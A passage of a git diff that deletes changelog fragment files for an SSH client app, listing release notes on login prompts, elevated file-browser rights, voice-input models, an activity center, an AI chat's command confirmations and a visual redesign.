-1,2 +0,0 @@ -### Added -- Extensions can now show the app's regular success, error and info notifications. diff --git a/changelog.d/issue-1173-outdated-ssh-algorithms.md b/changelog.d/issue-1173-outdated-ssh-algorithms.md deleted file mode 100644 index 64ed6124a..000000000 --- a/changelog.d/issue-1173-outdated-ssh-algorithms.md +++ /dev/null @@ -1,2 +0,0 @@ -### Added -- You can now connect to servers that only support outdated SSH algorithms. A notice names the algorithms, because such a connection is less secure. diff --git a/changelog.d/issue-1180-exit-code-on-signal.md b/changelog.d/issue-1180-exit-code-on-signal.md deleted file mode 100644 index 48cf2fc7f..000000000 --- a/changelog.d/issue-1180-exit-code-on-signal.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- A command that was killed by a signal on the server now shows a shell-style exit code (128 + signal) instead of no exit code. diff --git a/changelog.d/issue-1180-pty-refused-error.md b/changelog.d/issue-1180-pty-refused-error.md deleted file mode 100644 index ac405fd95..000000000 --- a/changelog.d/issue-1180-pty-refused-error.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- Opening a terminal on a server that refuses terminals (e.g. `PermitTTY no`) now fails with a clear error instead of an empty, immediately closed tab. diff --git a/changelog.d/issue-1185-login-prompt-dialog.md b/changelog.d/issue-1185-login-prompt-dialog.md deleted file mode 100644 index 7271a3222..000000000 --- a/changelog.d/issue-1185-login-prompt-dialog.md +++ /dev/null @@ -1,2 +0,0 @@ -### Added -- When a server asks for a password, a one-time code or other login input, Smart SSH now shows a dialog with the server's questions and continues connecting after you answer. diff --git a/changelog.d/issue-1190-queue-login-prompts.md b/changelog.d/issue-1190-queue-login-prompts.md deleted file mode 100644 index 4c11a444b..000000000 --- a/changelog.d/issue-1190-queue-login-prompts.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- When two connections ask for login input at the same time, the dialogs now appear one after another instead of the second silently replacing the first. diff --git a/changelog.d/issue-1191-elevated-file-browser-sudo-password.md b/changelog.d/issue-1191-elevated-file-browser-sudo-password.md deleted file mode 100644 index d95f62cc3..000000000 --- a/changelog.d/issue-1191-elevated-file-browser-sudo-password.md +++ /dev/null @@ -1,2 +0,0 @@ -### Added -- The file browser's elevated rights now also work with the sudo password stored in the server profile, without a passwordless sudoers rule. diff --git a/changelog.d/issue-1192-elevated-server-logging.md b/changelog.d/issue-1192-elevated-server-logging.md deleted file mode 100644 index 42478ac94..000000000 --- a/changelog.d/issue-1192-elevated-server-logging.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- Elevated file operations are now also written to the server's own auth log. The suggested sudoers line includes the logging arguments; existing rules keep working without server-side logging. diff --git a/changelog.d/issue-1193-elevated-idle-timeout.md b/changelog.d/issue-1193-elevated-idle-timeout.md deleted file mode 100644 index bca65461c..000000000 --- a/changelog.d/issue-1193-elevated-idle-timeout.md +++ /dev/null @@ -1,2 +0,0 @@ -### Added -- The file browser now switches elevated rights off by itself after a period without activity (default 15 minutes; 5, 15, 30, 60 minutes or never in Settings) and tells you with a notice. diff --git a/changelog.d/issue-1194-elevation-per-server-switch.md b/changelog.d/issue-1194-elevation-per-server-switch.md deleted file mode 100644 index 7de0ead7e..000000000 --- a/changelog.d/issue-1194-elevation-per-server-switch.md +++ /dev/null @@ -1,2 +0,0 @@ -### Added -- A new per-server setting "Allow elevated rights in the file browser" (on by default) lets you turn off the elevated file browser for servers where it must not be used. diff --git a/changelog.d/issue-1195-elevation-notice.md b/changelog.d/issue-1195-elevation-notice.md deleted file mode 100644 index a9064087b..000000000 --- a/changelog.d/issue-1195-elevation-notice.md +++ /dev/null @@ -1,2 +0,0 @@ -### Added -- The first time you switch the file browser to elevated rights on a server, a short notice explains what that means and offers a safer alternative. You can hide it for that server. diff --git a/changelog.d/issue-1208-sftp-server-behind-sudo-options.md b/changelog.d/issue-1208-sftp-server-behind-sudo-options.md deleted file mode 100644 index d496369f7..000000000 --- a/changelog.d/issue-1208-sftp-server-behind-sudo-options.md +++ /dev/null @@ -1,2 +0,0 @@ -### Security -- A command that starts `sftp-server` through `sudo`/`doas` is now always rated red and asks for confirmation, also when a sudo option has a quoted argument such as `-p '[sudo] password:'`. diff --git a/changelog.d/issue-1217-ssh-agent-all-identities.md b/changelog.d/issue-1217-ssh-agent-all-identities.md deleted file mode 100644 index dbd561b50..000000000 --- a/changelog.d/issue-1217-ssh-agent-all-identities.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- Logging in with the SSH agent now tries all keys the agent holds, not only the first one. diff --git a/changelog.d/issue-1220-bastion-refusal-names-bastion.md b/changelog.d/issue-1220-bastion-refusal-names-bastion.md deleted file mode 100644 index 649d357f1..000000000 --- a/changelog.d/issue-1220-bastion-refusal-names-bastion.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- When a jump host refuses to forward the connection, the connection log and the error now name that jump host instead of the target. diff --git a/changelog.d/issue-1225-sftp-fails-fast.md b/changelog.d/issue-1225-sftp-fails-fast.md deleted file mode 100644 index 0a4b77d97..000000000 --- a/changelog.d/issue-1225-sftp-fails-fast.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- Opening the SFTP browser on a server without SFTP support now fails within a second with a clear message instead of after about 10 seconds. diff --git a/changelog.d/issue-1227-show-login-banner.md b/changelog.d/issue-1227-show-login-banner.md deleted file mode 100644 index 692426fbe..000000000 --- a/changelog.d/issue-1227-show-login-banner.md +++ /dev/null @@ -1,2 +0,0 @@ -### Added -- The connection log now shows the login banner a server sends before authentication, such as legal notices. diff --git a/changelog.d/issue-1228-banner-invalid-utf8.md b/changelog.d/issue-1228-banner-invalid-utf8.md deleted file mode 100644 index f538e3ca5..000000000 --- a/changelog.d/issue-1228-banner-invalid-utf8.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- Connecting to a server whose login banner contains invalid text characters no longer fails the login. diff --git a/changelog.d/issue-1229-agent-certificates.md b/changelog.d/issue-1229-agent-certificates.md deleted file mode 100644 index 355405940..000000000 --- a/changelog.d/issue-1229-agent-certificates.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- Logging in with an ssh-agent that holds an OpenSSH certificate now offers the certificate, so servers that only trust the signing CA accept it. diff --git a/changelog.d/issue-1230-sftp-server-behind-wrapper.md b/changelog.d/issue-1230-sftp-server-behind-wrapper.md deleted file mode 100644 index 2bf728e90..000000000 --- a/changelog.d/issue-1230-sftp-server-behind-wrapper.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- A command that starts `sftp-server` behind a wrapper such as `timeout 5m` or `nice -n 10` is flagged and asks for confirmation again, also when part of it is quoted. diff --git a/changelog.d/issue-1232-quoted-sftp-server-red.md b/changelog.d/issue-1232-quoted-sftp-server-red.md deleted file mode 100644 index 751184cca..000000000 --- a/changelog.d/issue-1232-quoted-sftp-server-red.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- A command that starts `sftp-server` behind wrappers and quoted arguments (e.g. `timeout 5m env FOO='a b' sftp-server`) is now rated red like the plain form. diff --git a/changelog.d/issue-1243-sqlite-3-54.md b/changelog.d/issue-1243-sqlite-3-54.md deleted file mode 100644 index 953111395..000000000 --- a/changelog.d/issue-1243-sqlite-3-54.md +++ /dev/null @@ -1,2 +0,0 @@ -### Security -- The bundled database engine is updated to SQLite 3.54, which fixes a flaw in how SQLite reads a crafted write-ahead log file. diff --git a/changelog.d/issue-1246-ai-provider-decorators.md b/changelog.d/issue-1246-ai-provider-decorators.md deleted file mode 100644 index 466fd86cb..000000000 --- a/changelog.d/issue-1246-ai-provider-decorators.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- Integrations can now wrap the AI providers the app builds, for example to prepare a local model runtime before a request. Nothing changes without one. diff --git a/changelog.d/issue-1253-hide-safety-dir-button.md b/changelog.d/issue-1253-hide-safety-dir-button.md deleted file mode 100644 index 1daac8da9..000000000 --- a/changelog.d/issue-1253-hide-safety-dir-button.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- On Android, the restore confirmation no longer offers a "Change…" button for the safety-backup folder, which could only fail there. diff --git a/changelog.d/issue-1281-extension-connect-check.md b/changelog.d/issue-1281-extension-connect-check.md deleted file mode 100644 index 12bbccb99..000000000 --- a/changelog.d/issue-1281-extension-connect-check.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- Editions and integrations can now refuse a connection to a server before anything is opened; the refusal message is shown to you. diff --git a/changelog.d/issue-1285-single-word-nested-sftp-server.md b/changelog.d/issue-1285-single-word-nested-sftp-server.md deleted file mode 100644 index 12f081816..000000000 --- a/changelog.d/issue-1285-single-word-nested-sftp-server.md +++ /dev/null @@ -1,2 +0,0 @@ -### Security -- A command such as `su root -c "sftp-server"` is now rated high risk like the other ways of starting `sftp-server`. diff --git a/changelog.d/issue-1287-refuse-reconnect.md b/changelog.d/issue-1287-refuse-reconnect.md deleted file mode 100644 index e1faaa781..000000000 --- a/changelog.d/issue-1287-refuse-reconnect.md +++ /dev/null @@ -1,2 +0,0 @@ -### Security -- A connection refused by a session extension can no longer be bypassed by reconnecting an existing session. diff --git a/changelog.d/issue-1291-open-symlinked-folders.md b/changelog.d/issue-1291-open-symlinked-folders.md deleted file mode 100644 index 4a6dbfbb6..000000000 --- a/changelog.d/issue-1291-open-symlinked-folders.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- The file browser now marks symbolic links and shows their target on hover; a link to a folder is listed with the folders and opens like one. diff --git a/changelog.d/issue-1292-server-list-reload.md b/changelog.d/issue-1292-server-list-reload.md deleted file mode 100644 index effdfb1d6..000000000 --- a/changelog.d/issue-1292-server-list-reload.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- The server list now updates by itself when servers or groups are changed elsewhere, for example while the settings dialog is open. diff --git a/changelog.d/issue-1295-code-block-copy.md b/changelog.d/issue-1295-code-block-copy.md deleted file mode 100644 index 6f6fc6f34..000000000 --- a/changelog.d/issue-1295-code-block-copy.md +++ /dev/null @@ -1,2 +0,0 @@ -### Added -- Every code block in an AI answer or generated document now has a copy button in its top-right corner. diff --git a/changelog.d/issue-1296-auto-continuation-cap-since-last-decision.md b/changelog.d/issue-1296-auto-continuation-cap-since-last-decision.md deleted file mode 100644 index 4216ab583..000000000 --- a/changelog.d/issue-1296-auto-continuation-cap-since-last-decision.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- The chat's automatic continuation now stops after 10 steps without your confirmation, not 10 steps per message: every decision on a confirmation prompt restarts the count. diff --git a/changelog.d/issue-1298-parakeet-speech-model.md b/changelog.d/issue-1298-parakeet-speech-model.md deleted file mode 100644 index 83d84b518..000000000 --- a/changelog.d/issue-1298-parakeet-speech-model.md +++ /dev/null @@ -1,2 +0,0 @@ -### Added -- Voice input can use NVIDIA's Parakeet TDT 0.6B v3 as an additional local speech model on macOS, Windows and Linux; it detects the spoken language itself. diff --git a/changelog.d/issue-1299-parakeet-settings.md b/changelog.d/issue-1299-parakeet-settings.md deleted file mode 100644 index c9524280e..000000000 --- a/changelog.d/issue-1299-parakeet-settings.md +++ /dev/null @@ -1,2 +0,0 @@ -### Added -- Settings → Voice input lists Parakeet v3 next to the Whisper models, with its size, and the download dialog names its source and license. diff --git a/changelog.d/issue-1300-parakeet-android.md b/changelog.d/issue-1300-parakeet-android.md deleted file mode 100644 index 02de10ab8..000000000 --- a/changelog.d/issue-1300-parakeet-android.md +++ /dev/null @@ -1,2 +0,0 @@ -### Added -- Voice input on Android can now use the Parakeet v3 model, downloaded on request like the other models. diff --git a/changelog.d/issue-1304-whisper-onnx.md b/changelog.d/issue-1304-whisper-onnx.md deleted file mode 100644 index 69edff185..000000000 --- a/changelog.d/issue-1304-whisper-onnx.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- Voice input now runs the Whisper models (`base`, `small`) on the same engine as Parakeet; previously downloaded Whisper models are removed once on update and have to be downloaded again. diff --git a/changelog.d/issue-1308-anthropic-history-cache.md b/changelog.d/issue-1308-anthropic-history-cache.md deleted file mode 100644 index 4d1b97d33..000000000 --- a/changelog.d/issue-1308-anthropic-history-cache.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- Long chats with Anthropic models use far fewer input tokens: the unchanged conversation history is now read from the prompt cache. diff --git a/changelog.d/issue-1311-settings-category-sections.md b/changelog.d/issue-1311-settings-category-sections.md deleted file mode 100644 index 723ae8a04..000000000 --- a/changelog.d/issue-1311-settings-category-sections.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- Settings sections contributed to a built-in category now appear in that category instead of only in "Data & backup". diff --git a/changelog.d/issue-1313-data-dir-override.md b/changelog.d/issue-1313-data-dir-override.md deleted file mode 100644 index 9f6ca0bd4..000000000 --- a/changelog.d/issue-1313-data-dir-override.md +++ /dev/null @@ -1,2 +0,0 @@ -### Added -- A second copy of the app can use its own data directory via `--data-dir ` or a `.data-dir` file next to the app; the header shows which directory is in use. diff --git a/changelog.d/issue-1314-keychain-namespace-per-data-dir.md b/changelog.d/issue-1314-keychain-namespace-per-data-dir.md deleted file mode 100644 index 6eaba7d89..000000000 --- a/changelog.d/issue-1314-keychain-namespace-per-data-dir.md +++ /dev/null @@ -1,2 +0,0 @@ -### Security -- An instance started with its own data directory now keeps its keychain entries under a separate service and can no longer touch the secrets of your normal instance; Settings → Diagnostics shows the service name. diff --git a/changelog.d/issue-1322-pointer-file-tilde-no-home.md b/changelog.d/issue-1322-pointer-file-tilde-no-home.md deleted file mode 100644 index 81bb65e07..000000000 --- a/changelog.d/issue-1322-pointer-file-tilde-no-home.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- A data-directory pointer file starting with `~` no longer silently falls back to the default data directory when the home directory is unknown; the start-up error window appears instead. diff --git a/changelog.d/issue-1325-activity-center.md b/changelog.d/issue-1325-activity-center.md deleted file mode 100644 index 2b0a163d1..000000000 --- a/changelog.d/issue-1325-activity-center.md +++ /dev/null @@ -1,2 +0,0 @@ -### Added -- A small activity icon in the header shows long-running work such as downloads, with progress, size and a cancel button, even after the dialog that started it is closed. diff --git a/changelog.d/issue-1326-speech-model-activities.md b/changelog.d/issue-1326-speech-model-activities.md deleted file mode 100644 index a93c39959..000000000 --- a/changelog.d/issue-1326-speech-model-activities.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- Speech model downloads now appear in the activity center and keep running when the voice input settings or the download prompt are closed. diff --git a/changelog.d/issue-1327-warn-before-quitting.md b/changelog.d/issue-1327-warn-before-quitting.md deleted file mode 100644 index 1382e6737..000000000 --- a/changelog.d/issue-1327-warn-before-quitting.md +++ /dev/null @@ -1,3 +0,0 @@ -### Added -- Quitting while a download or other activity is running now asks for confirmation first. -- A speech-model download interrupted by quitting shows up after the next start as "Interrupted" and can be resumed where it stopped, or discarded. diff --git a/changelog.d/issue-1332-stale-interrupted-entries.md b/changelog.d/issue-1332-stale-interrupted-entries.md deleted file mode 100644 index 271d87bb7..000000000 --- a/changelog.d/issue-1332-stale-interrupted-entries.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- Discarding an interrupted model download no longer deletes a model that is installed again, and the same interrupted download is no longer listed twice. diff --git a/changelog.d/issue-1338-activity-handle-cancel.md b/changelog.d/issue-1338-activity-handle-cancel.md deleted file mode 100644 index 6669867fb..000000000 --- a/changelog.d/issue-1338-activity-handle-cancel.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- Features that run their own work can now end an activity as cancelled when the user cancels it from their own screen. diff --git a/changelog.d/issue-1339-adopt-activity.md b/changelog.d/issue-1339-adopt-activity.md deleted file mode 100644 index 293ea89f4..000000000 --- a/changelog.d/issue-1339-adopt-activity.md +++ /dev/null @@ -1,2 +0,0 @@ -### Added -- Extensions can re-attach to a running activity after the window reloads, so its progress and cancel keep working. diff --git a/changelog.d/issue-1342-activity-handle-cancel-race.md b/changelog.d/issue-1342-activity-handle-cancel-race.md deleted file mode 100644 index ccedad7be..000000000 --- a/changelog.d/issue-1342-activity-handle-cancel-race.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- An activity handle no longer reports "still running" when the activity was cancelled from the activity center at the same moment as the owner cancelled it. diff --git a/changelog.d/issue-1343-activity-cancel-race.md b/changelog.d/issue-1343-activity-cancel-race.md deleted file mode 100644 index 384516826..000000000 --- a/changelog.d/issue-1343-activity-cancel-race.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- Cancelling an activity from the activity center right as an extension starts or re-attaches to it is no longer missed. diff --git a/changelog.d/issue-1357-confirmation-rules-per-sub-command.md b/changelog.d/issue-1357-confirmation-rules-per-sub-command.md deleted file mode 100644 index 9a85bb466..000000000 --- a/changelog.d/issue-1357-confirmation-rules-per-sub-command.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- In the confirmation dialog, each part of a command that still needs a rule can be expanded to pick an allow rule and its scope. Picked rules are saved together with "Save rules"; "Accept + Rule" is gone. diff --git a/changelog.d/issue-1362-angular-palette-and-shapes.md b/changelog.d/issue-1362-angular-palette-and-shapes.md deleted file mode 100644 index e1e3a7cfd..000000000 --- a/changelog.d/issue-1362-angular-palette-and-shapes.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- New look: graphite and signal-cyan colours in the dark and the light theme, square corners everywhere, flat 1 px rules instead of shadows, uppercase condensed labels and square status markers. diff --git a/changelog.d/issue-1363-angular-icon-set.md b/changelog.d/issue-1363-angular-icon-set.md deleted file mode 100644 index b4a311925..000000000 --- a/changelog.d/issue-1363-angular-icon-set.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- Emoji and text symbols used as icons (folders, servers, files, warnings, close buttons, …) are replaced by one flat, angular icon set that looks the same on every platform and follows the theme colours. diff --git a/changelog.d/issue-1364-trace-logo.md b/changelog.d/issue-1364-trace-logo.md deleted file mode 100644 index a1ea624cd..000000000 --- a/changelog.d/issue-1364-trace-logo.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- New app icon on every platform (desktop, Android, iOS) and a new browser tab icon: the "Trace" mark, an S drawn as one trace between two terminals. diff --git a/changelog.d/issue-1365-title-bar-navigation.md b/changelog.d/issue-1365-title-bar-navigation.md deleted file mode 100644 index 6d4acf750..000000000 --- a/changelog.d/issue-1365-title-bar-navigation.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- The title bar is now a single 44 px bar with the logo, the main navigation (Connect, Manage, Filter Rules), flat session tabs with square status markers and a "Pending" badge, and icon buttons for activities and settings. The Overview tile is replaced by the Connect tab and a "+" button. diff --git a/changelog.d/issue-1366-session-header.md b/changelog.d/issue-1366-session-header.md deleted file mode 100644 index cf341cc90..000000000 --- a/changelog.d/issue-1366-session-header.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- The session header now shows the server's user, host and port and its group, with the Terminal/Files switch built in and Reconnect in a "More actions" menu. diff --git a/changelog.d/issue-1367-connect-server-tree.md b/changelog.d/issue-1367-connect-server-tree.md deleted file mode 100644 index 1986531e2..000000000 --- a/changelog.d/issue-1367-connect-server-tree.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- The Connect server tree uses flat rows with connector lines, item counts on groups, a "Local" badge on the local server and status squares for servers with an open session. diff --git a/changelog.d/issue-1368-manage-sidebar-redesign.md b/changelog.d/issue-1368-manage-sidebar-redesign.md deleted file mode 100644 index 1bff05674..000000000 --- a/changelog.d/issue-1368-manage-sidebar-redesign.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- The Manage sidebar has a new look: header row with "+ Group" and "+ Server", a tree with counts and connector lines, and "Import …" / "Export …" in the footer. Groups can now be collapsed. diff --git a/changelog.d/issue-1369-narrow-header-and-menu.md b/changelog.d/issue-1369-narrow-header-and-menu.md deleted file mode 100644 index 36729dbb1..000000000 --- a/changelog.d/issue-1369-narrow-header-and-menu.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- The narrow-window header and navigation menu follow the new design: logo, icons, a close button, a "New session" entry, an Activities entry and Settings at the bottom. diff --git a/changelog.d/issue-1370-terminal-key-row.md b/changelog.d/issue-1370-terminal-key-row.md deleted file mode 100644 index 5c84f5522..000000000 --- a/changelog.d/issue-1370-terminal-key-row.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- The touch key row is now two fixed rows of eight keys that fit any phone width without scrolling, and the terminal fills its area with the terminal colours. diff --git a/changelog.d/issue-1371-chat-transcript-redesign.md b/changelog.d/issue-1371-chat-transcript-redesign.md deleted file mode 100644 index 5c6ebb708..000000000 --- a/changelog.d/issue-1371-chat-transcript-redesign.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- Chat messages and cards use the new flat, angular look; an automatically run command now shows the rule that allowed it and its exit code in the card header. diff --git a/changelog.d/issue-1372-chat-header-composer.md b/changelog.d/issue-1372-chat-header-composer.md deleted file mode 100644 index aa347de34..000000000 --- a/changelog.d/issue-1372-chat-header-composer.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- The chat panel has a header with the AI model, a segmented context meter and "New chat"; the message box now has a visible label and a toolbar row with voice input and Send. diff --git a/changelog.d/issue-1373-file-browser-redesign.md b/changelog.d/issue-1373-file-browser-redesign.md deleted file mode 100644 index f66c6802a..000000000 --- a/changelog.d/issue-1373-file-browser-redesign.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- The file browser has a redesigned toolbar, a breadcrumb path bar that you can still edit, a new columns button, and a tidier file table that shows link targets inline. diff --git a/changelog.d/issue-1374-narrow-file-list-and-transfers.md b/changelog.d/issue-1374-narrow-file-list-and-transfers.md deleted file mode 100644 index 2d624f0fe..000000000 --- a/changelog.d/issue-1374-narrow-file-list-and-transfers.md +++ /dev/null @@ -1,3 +0,0 @@ -### Changed -- The phone file list shows permissions, owner or size and the date for each entry and has a bottom bar with "+ Folder" and "Upload". -- Transfers show as blocks with a full-width progress bar, rate and remaining time; the file browser status strips use the new square style. diff --git a/changelog.d/issue-1375-filter-rules-tables.md b/changelog.d/issue-1375-filter-rules-tables.md deleted file mode 100644 index 62ef440ca..000000000 --- a/changelog.d/issue-1375-filter-rules-tables.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- The filter rules view shows rules as tables per scope with a rule count, a red hard-blacklist block and the rule tester as a side panel on wide windows. diff --git a/changelog.d/issue-1376-settings-screen-shell.md b/changelog.d/issue-1376-settings-screen-shell.md deleted file mode 100644 index 6ddb5ca85..000000000 --- a/changelog.d/issue-1376-settings-screen-shell.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- Settings now open as a full window below the title bar, with a numbered category list and a section header; on narrow screens the list shows an icon and chevron per category. diff --git a/changelog.d/issue-1377-ai-provider-settings-redesign.md b/changelog.d/issue-1377-ai-provider-settings-redesign.md deleted file mode 100644 index 0ba4aefe1..000000000 --- a/changelog.d/issue-1377-ai-provider-settings-redesign.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- The AI provider settings show providers as a grid with connection details, model and status, and the risk options as switches in one card. diff --git a/changelog.d/issue-1378-settings-sections-redesign.md b/changelog.d/issue-1378-settings-sections-redesign.md deleted file mode 100644 index 4403130cc..000000000 --- a/changelog.d/issue-1378-settings-sections-redesign.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- The Master password, Data and backup and Sessions & Data settings, and the backup dialogs, now use the new look: label headings, thin rules, switches and option cards. diff --git a/changelog.d/issue-1379-settings-sections-angular.md b/changelog.d/issue-1379-settings-sections-angular.md deleted file mode 100644 index b8a612407..000000000 --- a/changelog.d/issue-1379-settings-sections-angular.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- The display, diagnostics, file types, voice input, about and MCP server settings use the new angular look. diff --git a/changelog.d/issue-1380-server-form-connection-tab.md b/changelog.d/issue-1380-server-form-connection-tab.md deleted file mode 100644 index 7cb187d0b..000000000 --- a/changelog.d/issue-1380-server-form-connection-tab.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- The Connection tab of the server form now uses two columns on wide windows, a segmented authentication choice, key-file findings with icons and a test result badge such as "OK · 142 ms". diff --git a/changelog.d/issue-1381-server-form-frame.md b/changelog.d/issue-1381-server-form-frame.md deleted file mode 100644 index 7f1745678..000000000 --- a/changelog.d/issue-1381-server-form-frame.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- The server form, group form and notes have the new look: title row with icon and Connect button, option cards on the Security tab and host keys as rows. diff --git a/changelog.d/issue-1382-activity-center-redesign.md b/changelog.d/issue-1382-activity-center-redesign.md deleted file mode 100644 index db3c0025f..000000000 --- a/changelog.d/issue-1382-activity-center-redesign.md +++ /dev/null @@ -1,3 +0,0 @@ -### Changed -- The activity center has a new look: an activity icon with the running count and a thin progress rule in the header, and a wider panel with a status label, progress bar, size, speed and remaining time per activity. -- The quit confirmation shows an icon for each running activity. diff --git a/changelog.d/issue-1383-start-screens-redesign.md b/changelog.d/issue-1383-start-screens-redesign.md deleted file mode 100644 index 81fa147b5..000000000 --- a/changelog.d/issue-1383-start-screens-redesign.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- The unlock screen, start-up questions, first-run notice and error screen use the new design: grid background, framed card with corner marks and the Smart SSH logo. diff --git a/changelog.d/issue-1384-connect-dialogs-redesign.md b/changelog.d/issue-1384-connect-dialogs-redesign.md deleted file mode 100644 index ff5b8cafd..000000000 --- a/changelog.d/issue-1384-connect-dialogs-redesign.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- The host key dialog, login prompt, connecting tab, unusable-server panel, toasts and the locked-feature dialog use the new square, ruled look; a changed host key is shown as a red security dialog with the known and offered fingerprints in rows. diff --git a/changelog.d/issue-1385-move-and-import-dialogs.md b/changelog.d/issue-1385-move-and-import-dialogs.md deleted file mode 100644 index 41da999c4..000000000 --- a/changelog.d/issue-1385-move-and-import-dialogs.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- The "Move to…" dialog is now a tree list that marks the current location, and the ssh_config import dialog shows files, folder structure and servers side by side, with the number of servers on the Import button. diff --git a/changelog.d/issue-1386-file-dialogs-redesign.md b/changelog.d/issue-1386-file-dialogs-redesign.md deleted file mode 100644 index cd75a29a0..000000000 --- a/changelog.d/issue-1386-file-dialogs-redesign.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- The file browser dialogs (delete, rename, permissions, owner, properties, upload conflicts and more) now show a header icon, and the delete confirmation lists the path and the contents on separate lines. diff --git a/changelog.d/issue-1387-narrow-session-title-bar.md b/changelog.d/issue-1387-narrow-session-title-bar.md deleted file mode 100644 index 889311660..000000000 --- a/changelog.d/issue-1387-narrow-session-title-bar.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- On narrow screens an open session no longer has a second header row: the session name, status and the actions menu sit in the title bar, which gives the terminal, chat and files more height. diff --git a/changelog.d/issue-1388-collapse-long-output.md b/changelog.d/issue-1388-collapse-long-output.md deleted file mode 100644 index 39344c1dc..000000000 --- a/changelog.d/issue-1388-collapse-long-output.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- Long command output in the chat now shows the first 8 lines with a "Show all" / "Show less" toggle. diff --git a/changelog.d/issue-1389-host-key-dialog-server-name.md b/changelog.d/issue-1389-host-key-dialog-server-name.md deleted file mode 100644 index 42636cf71..000000000 --- a/changelog.d/issue-1389-host-key-dialog-server-name.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- The host key dialog now shows the name of the saved server as its first line, above host and port. diff --git a/changelog.d/issue-1408-tab-strip-overflow.md b/changelog.d/issue-1408-tab-strip-overflow.md deleted file mode 100644 index 7a13bf77f..000000000 --- a/changelog.d/issue-1408-tab-strip-overflow.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- The session tab strip now fades at an edge that hides tabs, and the mouse wheel scrolls it sideways. diff --git a/changelog.d/issue-1409-local-tab-marker.md b/changelog.d/issue-1409-local-tab-marker.md deleted file mode 100644 index 882efd05e..000000000 --- a/changelog.d/issue-1409-local-tab-marker.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- A local session tab keeps its local marker colour even if the server list failed to load at startup or the local server was added later. diff --git a/changelog.d/issue-1410-main-nav-label.md b/changelog.d/issue-1410-main-nav-label.md deleted file mode 100644 index 206ac9d32..000000000 --- a/changelog.d/issue-1410-main-nav-label.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- Screen readers now announce the title-bar main navigation as "Main navigation" (translated in all languages). diff --git a/changelog.d/issue-1414-action-card-exit-code-i18n.md b/changelog.d/issue-1414-action-card-exit-code-i18n.md deleted file mode 100644 index 07d8e6168..000000000 --- a/changelog.d/issue-1414-action-card-exit-code-i18n.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- The "exit code" text on executed-command cards in the chat is now translated, and screen readers no longer read the `$` prompt before a command aloud. diff --git a/changelog.d/issue-1415-path-bar-keep-typed-path.md b/changelog.d/issue-1415-path-bar-keep-typed-path.md deleted file mode 100644 index e22f21db4..000000000 --- a/changelog.d/issue-1415-path-bar-keep-typed-path.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- In the file browser, a mistyped path stays in the path field so you can correct it, and hovering a symlink's name shows its target again. diff --git a/changelog.d/issue-1417-pattern-error-field.md b/changelog.d/issue-1417-pattern-error-field.md deleted file mode 100644 index 01ddba8d7..000000000 --- a/changelog.d/issue-1417-pattern-error-field.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- The rule dialog now announces a rejected pattern on the pattern field itself. diff --git a/changelog.d/issue-1421-reconnecting-tree-marker.md b/changelog.d/issue-1421-reconnecting-tree-marker.md deleted file mode 100644 index 57f6dab94..000000000 --- a/changelog.d/issue-1421-reconnecting-tree-marker.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- A session that is reconnecting now shows the same warning marker in the server list as in its tab. diff --git 